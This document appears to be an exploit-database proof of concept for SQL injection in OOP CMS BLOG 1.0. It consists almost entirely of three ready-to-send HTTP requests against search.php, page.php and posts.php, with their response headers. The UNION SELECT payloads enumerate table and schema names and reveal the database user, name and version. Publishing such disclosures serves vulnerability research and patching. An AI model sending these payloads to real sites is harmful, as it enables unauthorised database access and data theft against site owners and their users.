OOP CMS BLOG 1.0 - 'search' SQL Injection

# Exploit Title: OOP CMS BLOG 1.0 - 'search' SQL Injection
# Dork: N/A
# Date: 2018-11-06
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://zsoft.com.bd/
# Software Link: https://datapacket.dl.sourceforge.net/project/php-oop-cms-blog/blog_fo_rup.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/search.php?search=[SQL]
# 
GET /[PATH]/search.php?search=Efe%27%20%20UNION%20SELECT%201,2,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),4,5,6,7,8,9--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 06 Nov 2018 20:31:15 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/page.php?pageid=[SQL]
# 
GET /[PATH]/page.php?pageid=8%20%20UNION(SELECT%20%28%31%29,%28%32%29,(SELECT%20GROUP_CONCAT(schema_name%20SEPARATOR%200x3c62723e)%20FROM%20INFORMATION_SCHEMA.SCHEMATA))--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 06 Nov 2018 20:33:44 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/[PATH]/posts.php?id=[SQL]
# 
GET /[PATH]/posts.php?id=3%27++UNION+SELECT+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 06 Nov 2018 20:35:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 3732
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8